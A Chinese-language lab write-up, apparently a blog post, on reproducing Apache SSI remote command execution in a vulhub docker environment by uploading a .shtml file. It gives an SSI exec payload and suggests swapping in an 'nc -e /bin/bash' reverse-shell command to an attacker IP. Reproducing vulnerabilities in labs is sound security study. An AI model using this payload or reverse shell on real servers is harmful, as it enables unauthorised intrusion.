Apache SSI 远程命令执行漏洞 漏洞复现
前言&原理
如果目标服务器开启了ssi功能,那么shtml文件将可以执行任意命令。如果上传文件程序限制了php文件的上传,且没有限制shtml文件上传,我们可以上传一个shtml文件,并利用<!--#exec cmd="命令" -->
语法执行任意命令。
ssi详细讲解请参考:https://blog.csdn.net/weixin_30399871/article/details/94779816,什么是SSI。
ssi漏洞挖掘思路请参考:https://blog.csdn.net/qq_40657585/article/details/84260844,SSI注入漏洞。
漏洞环境
该环境使用vulhub搭建,该漏洞路径为 vulhub/httpd/ssi-rce
。进入该漏洞路径后执行以下命令:
docker-compose up -d
-d 表示后台运行。
注意:该命令必须在漏洞目录下执行,该命令是启动当前目录下的docker容器。
如果不会搭建环境可以参考官方文档:https://vulhub.org/#/docs/
启动环境后访问http://ip地址:8080/upload.php
,即可看到一个上传表单。
漏洞复现
将代码 <!--#exec cmd="id"> -->
写入文件a.shtml
中,然后上传之服务器。
然后点击超链接a.shtml
即可打开上传文件,并执行id
命令。
也可将
<!--#exec cmd="id"> -->
中的id改成其他命令,例如nc -e /bin/bash IP 4443
反弹一个shell。但是要注意的是这个docker容器中没有nc,所以在这个靶机中反弹shell不会成功。
参考文献
[1] https://blog.csdn.net/weixin_30399871/article/details/94779816,什么是SSI。
[2] https://blog.csdn.net/qq_40657585/article/details/84260844,SSI注入漏洞。
[1] https://httpd.apache.org/docs/2.4/howto/ssi.html,Apache httpd Tutorial: Introduction to Server Side Includes.